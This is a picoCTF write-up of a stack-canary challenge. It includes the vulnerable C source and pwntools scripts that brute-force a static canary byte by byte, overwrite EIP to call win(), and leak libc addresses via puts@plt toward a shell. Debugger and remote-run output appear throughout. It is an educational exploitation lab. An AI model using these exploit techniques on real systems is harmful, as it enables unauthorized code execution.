Intro

Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.

We are given compiled binary, its source and the host and port where challenge is hosted.

  • saturn.picoctf.net 63181
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

Binary Protection Mechanisms

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$

Running the application

We need to create flag.txt with sample flag and canary.txt file with 4 byte canary string. I chose the word CAFE as the canary string for testing locally. The size of canary is defined in the source code as #define CANARY_SIZE 4. The application reads the canary string from the canary.txt file and places it somewhere in memory.

$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 5
Input> AAAAA
Ok... Now Where's the Flag?

The application asks the user for the number of bytes to write to buffer followed by the input that will be read into the buffer.

We know from the source code that the buffer size is 64 bytes - #define BUFSIZE 64. We can see an obvious buffer overflow issue with the second read() function. The user can define the number of bytes for the input to be read by the read() function. If the user specifies any number greater 64 and supplies that many byte long input, we will have a buffer overflow.

   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

To test this, we can specify the user input length as 64 and supply a string of length 64 as input. This shouldn’t crash the application as we are reading input that will fit into the 64 byte buffer.

$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 64
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ok... Now Where's the Flag?

The application does not crash. Now, let see if the application crashes if we provide a user input of 65 length. We provide 64 A’s and 1 B as input string.

$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
***** Stack Smashing Detected ***** : Canary Value Corrupt!

Instead of seeing segmentation fault, we see ***** Stack Smashing Detected ***** : Canary Value Corrupt!.

This means that we indeed have a buffer overflow and it seems we overwrote stack canary as well.

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(-1);

This would mean that the stack canary is stored just after the 64 byte buffer where the user input is stored. If we are to send 68 character input, the characters from 65th to 68 would overwrite the canary string.

Approach to finding Canary

I played around with the application for a bit to see how it would respond for different user inputs. We set the debug canary as the string CAFE.

$ ./vuln 
How Many Bytes will You Write Into the Buffer?
> 64
Input> AAAA
Ok... Now Where's the Flag?

$ ./vuln         
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
***** Stack Smashing Detected ***** : Canary Value Corrupt!

$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
***** Stack Smashing Detected ***** : Canary Value Corrupt!

$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Ok... Now Where's the Flag?

When sending 64 A's and and a C as user input, we see that the application does not crash and behaves normally as we can see the output Ok... Now Where's the Flag?. This means that we overwrote the first character of the canary, but with the correct character. When we specified the 65th character as A and B, the application showed the error ***** Stack Smashing Detected ***** : Canary Value Corrupt!. However, with C as 65th character, application behaves normally.

This means that we can bruteforce the application to reveal the canary string, one character at a time. We found out that the canary string starts at the offset 64 of user input. To find the canary string we can use following approach.

  • First character of Canary
    • Input length 65
    • Input = 64 A’s + X, where X is one character from all printable characters
    • Send the above input to the application, iterating X over all characters from printable characters till we receive Ok... Now Where's the Flag?.
  • Second character of Canary
    • Input length 66
    • Input = 64 A’s + C1 + X, where C1 is obtained from previous step and X is one character from all printable characters
    • Send the above input to the application, iterating X over all characters from printable characters till we receive Ok... Now Where's the Flag?.
  • Third character of Canary
    • Input length 67
    • Input = 64 A’s + C1 + C2 + X, where C1, C2 are obtained from previous steps and X is one character from all printable characters
    • Send the above input to the application, iterating X over all characters from printable characters till we receive Ok... Now Where's the Flag?.
  • Fourth character of Canary
    • Input length 68
    • Input = 64 A’s + C1 + C2 + C3 + X, where C1, C2, C3 are obtained from previous steps and X is one character from all printable characters
    • Send the above input to the application, iterating X over all characters from printable characters till we receive Ok... Now Where's the Flag?.

Bruteforcing canaries:

from pwn import *
import sys
import string


canary_offset = 64
canary_size = 4

canary = b""

chall = ELF("./vuln")


def get_process():
        if args.REMOTE:
                r = remote('saturn.picoctf.net', args.PORT)
                return r
        else:
                return chall.process()


for i in range(1,5):

        for canary_char in string.printable:

                r = get_process()

                r.sendlineafter(b"> ", b"%d" % (canary_offset + i))


                payload = b"A"* canary_offset + canary
                payload += canary_char.encode()


                r.sendlineafter(b"> ", payload)

                resp = r.recvall()

                print (resp)

                if b"Now Where's the Flag" in resp:
                        canary += canary_char.encode()
                        break
                r.close()

print (canary)

Testing locally.

$ python poc.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3700
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 3700)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3814
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 3814)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 3925
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 3925)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4055
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 4055)
b"Ok... Now Where's the Flag?\n"
[......]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4178
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 4178)
b"Ok... Now Where's the Flag?\n"
b'CAFE'

The script was able to bruteforce the Canary value after so many attemtps.

Smashing the Stack for real

Running the application in debugger and sending an input of length 300. The input string is generated as follows.

>>> "A"*64 + "CAFE" + "B"* (300-4-64)
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'

The application crashes and EIP is overwritten with 0x42424242.

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Ok... Now Where's the Flag?

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x42424242 ('BBBB')
ECX: 0x6c0 
EDX: 0xb7e229b4 --> 0x0 
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0 
EBP: 0x42424242 ('BBBB')
ESP: 0xbffff0b0 ('B' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('B' <repeats 200 times>...)
0004| 0xbffff0b4 ('B' <repeats 200 times>...)
0008| 0xbffff0b8 ('B' <repeats 200 times>...)
0012| 0xbffff0bc ('B' <repeats 200 times>...)
0016| 0xbffff0c0 ('B' <repeats 196 times>, "0\331", <incomplete sequence \374\267>...)
0020| 0xbffff0c4 ('B' <repeats 192 times>, "0\331\374\267\214\361\377\277"...)
0024| 0xbffff0c8 ('B' <repeats 188 times>, "0\331\374\267\214\361\377\277@\372\377\267"...)
0028| 0xbffff0cc ('B' <repeats 184 times>, "0\331\374\267\214\361\377\277@\372\377\267\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$

Finding EIP Offset

We will send an input of length 300 which consist of the following.

"A" * 64 + "CAFE" + (300 - 64 - 4) Long Pattern

$ msf-pattern_create -l 232
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A

Input =>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A
Ok... Now Where's the Flag?

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x33614132 ('2Aa3')
ECX: 0x6c0 
EDX: 0xb7e229b4 --> 0x0 
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0 
EBP: 0x41346141 ('Aa4A')
ESP: 0xbffff0b0 ("6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A"...)
EIP: 0x61413561 ('a5Aa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61413561
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ("6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A"...)
0004| 0xbffff0b4 ("Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah"...)
[.....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61413561 in ?? ()
gdb-peda$

Finding Offset:

$ msf-pattern_offset -q 0x61413561
[*] Exact match at offset 16

So sending below string would overwrite EIP with ‘0x42424242’.

# CAFE is debug canary.
# Canary Offset - 64
# EIP Offset at 84
# Input Length = 300

>>> "A" * 64 + "CAFE" + "A" * 16 + "BBBB" + "C" * (300 - 64 - 4 - 16 - 4)
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'

Controlling EIP.

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/pico-bo3/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 300
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFEAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Ok... Now Where's the Flag?

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x6c0 
EDX: 0xb7e229b4 --> 0x0 
ESI: 0xbffff194 --> 0xbffff35a ("/home/kali/Desktop/rop/pico-bo3/vuln")
EDI: 0xb7ffeb80 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff0b0 ('C' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('C' <repeats 200 times>...)
0004| 0xbffff0b4 ('C' <repeats 200 times>...)
0008| 0xbffff0b8 ('C' <repeats 200 times>...)
0012| 0xbffff0bc ('C' <repeats 200 times>...)
0016| 0xbffff0c0 ('C' <repeats 196 times>, "0\331", <incomplete sequence \374\267>...)
0020| 0xbffff0c4 ('C' <repeats 192 times>, "0\331\374\267\214\361\377\277"...)
0024| 0xbffff0c8 ('C' <repeats 188 times>, "0\331\374\267\214\361\377\277@\372\377\267"...)
0028| 0xbffff0cc ('C' <repeats 184 times>, "0\331\374\267\214\361\377\277@\372\377\267\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ 
gdb-peda$ x/30xw $esp
0xbffff0b0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff100:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff110:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff120:     0x43434343      0x43434343
gdb-peda$

We successfully overwrote EIP with 0x42424242 and esp points to enough space on stack where we can store gadgets or shellcode.

Getting the flag

To get the flag, we just need to redirect the execution to the win function.

from pwn import *
import sys
import string


canary_offset = 64
canary_size = 4

canary = b""

chall = ELF("./vuln")


def get_process():
        if args.REMOTE:
                r = remote('saturn.picoctf.net', args.PORT)
                return r
        else:
                return chall.process()


for i in range(1,5):

        for canary_char in string.printable:

                r = get_process()

                r.sendlineafter(b"> ", b"%d" % (canary_offset + i))


                payload = b"A"* canary_offset + canary
                payload += canary_char.encode()


                r.sendlineafter(b"> ", payload)

                resp = r.recvall()

                print (resp)

                if b"Now Where's the Flag" in resp:
                        canary += canary_char.encode()
                        break
                r.close()

if not len(canary) == 4:
        print ("[-] Failed to find canary!")
        sys.exit()

else:
        print ("[+] Found canary : %s" % canary.decode())

# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336

payload = b"A" * 64             # canary offset 64
payload += canary
payload += b"A" * 16            # eip offset 16 from canary
payload += p32(win)


r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))

r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)

Running locally.

$ python poc.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 13755
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 13755)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 14233
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 14233)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 14236
[+] Receiving all data: Done (51B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 14236)
b"Ok... Now Where's the Flag?\nPICO{TESTFLAG_MEEEEH}\n\n"

We got the flag locally. Testing against challenge machine.

$ python poc.py REMOTE PORT=55797 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (128B)
[*] Closed connection to saturn.picoctf.net port 55797
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\r\n***** Stack Smashing Detected ***** : Canary Value Corrupt!\r\n'
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (96B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (97B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiR\r\nOk... Now Where's the Flag?\r\n"
[.....]
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (99B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\r\nOk... Now Where's the Flag?\r\n"
[+] Found canary : BiRd
[+] Opening connection to saturn.picoctf.net on port 55797: Done
[+] Receiving all data: Done (162B)
[*] Closed connection to saturn.picoctf.net port 55797
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93^H\r\nOk... Now Where's the Flag?\r\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_452999ae}\r\n"

And we got the flag.

Getting a shell

Available functions in the binary. We can use puts@plt to leak addresses of functions.

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049130  read@plt
0x08049140  printf@plt
0x08049150  fflush@plt
0x08049160  fgets@plt
0x08049170  fclose@plt
0x08049180  memcmp@plt
0x08049190  getegid@plt
0x080491a0  fread@plt
0x080491b0  puts@plt
0x080491c0  exit@plt
0x080491d0  __libc_start_main@plt
0x080491e0  __isoc99_sscanf@plt
0x080491f0  setvbuf@plt
0x08049200  fopen@plt
0x08049210  setresgid@plt
0x08049220  _start
0x08049260  _dl_relocate_static_pie
0x08049270  __x86.get_pc_thunk.bx
0x08049280  deregister_tm_clones
0x080492c0  register_tm_clones
0x08049300  __do_global_dtors_aux
0x08049330  frame_dummy
0x08049336  win
0x080493e9  read_canary
0x08049489  vuln
0x080495c4  main
0x08049640  __libc_csu_init
0x080496b0  __libc_csu_fini
0x080496b5  __x86.get_pc_thunk.bp
0x080496bc  _fini
gdb-peda$

Leaking [email protected] and [email protected] using puts@plt.

from pwn import *
import sys
import string


canary_offset = 64
canary_size = 4

canary = b""

chall = ELF("./vuln")


def get_process():
        if args.REMOTE:
                r = remote('saturn.picoctf.net', args.PORT)
                return r
        else:
                return chall.process()


for i in range(1,5):

        for canary_char in string.printable:

                r = get_process()

                r.sendlineafter(b"> ", b"%d" % (canary_offset + i))


                payload = b"A"* canary_offset + canary
                payload += canary_char.encode()


                r.sendlineafter(b"> ", payload)

                resp = r.recvall()

                print (resp)

                if b"Now Where's the Flag" in resp:
                        canary += canary_char.encode()
                        break
                r.close()

if not len(canary) == 4:
        print ("[-] Failed to find canary!")
        sys.exit()

else:
        print ("[+] Found canary : %s" % canary.decode())

# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336

# buf = .bss
# 25 .bss          00000008  0804c050  0804c050  00003050  2**2
buf = 0x0804c050

read_plt = chall.plt["read"]
puts_plt = chall.plt["puts"]
main = chall.symbols["main"]

# addresses to leak

read_got_plt = chall.got["read"]
puts_got_plt = chall.got["puts"]

def leak(got_address, len_leak):


        payload = b"A" * 64             # canary offset 64
        payload += canary
        payload += b"A" * 16            # eip offset 16 from canary


        payload += p32(puts_plt)
        payload += p32(main)            # ret address of puts, return to main
        payload += p32(got_address)     # address to leak


        r = get_process()
        r.sendlineafter(b"> ", b"%d" % len(payload))

        r.sendlineafter(b"> ", payload)
        resp = r.recvall()
        return resp.split(b"\n")[1][0:len_leak]
        #return resp


# leaking puts address

puts_leaked = leak(puts_got_plt, 4)
puts_leaked_addr = u32(puts_leaked)

print ("[*] Leaked puts() address : ", hex(puts_leaked_addr))


read_leaked = leak(read_got_plt, 4)
read_leaked_addr = u32(read_leaked)

print ("[*] Leaked read() address : ", hex(read_leaked_addr))

Running locally.

$ python poc-final.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 4583
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 4583)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5062
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 5062)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5065
[+] Receiving all data: Done (141B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 5065)
[*] Leaked puts() address :  0xb7c70ea0
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 5068
[+] Receiving all data: Done (173B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 5068)
[*] Leaked read() address :  0xb7d05440

Identifying libc version by using lib-database. All of below are showing up in the search results. Assuming that all of them has same offsets for functions.

libc6_2.35-2_i386
libc6_2.35-4_i386
libc6_2.35-0experimental3_i386
libc6_2.35-3_i386
libc6_2.35-1_i386

I chose the first one and copied required offsets to the exploit.

puts	0x70ea0
read	0x105440
str_bin_sh	0x1b40ce
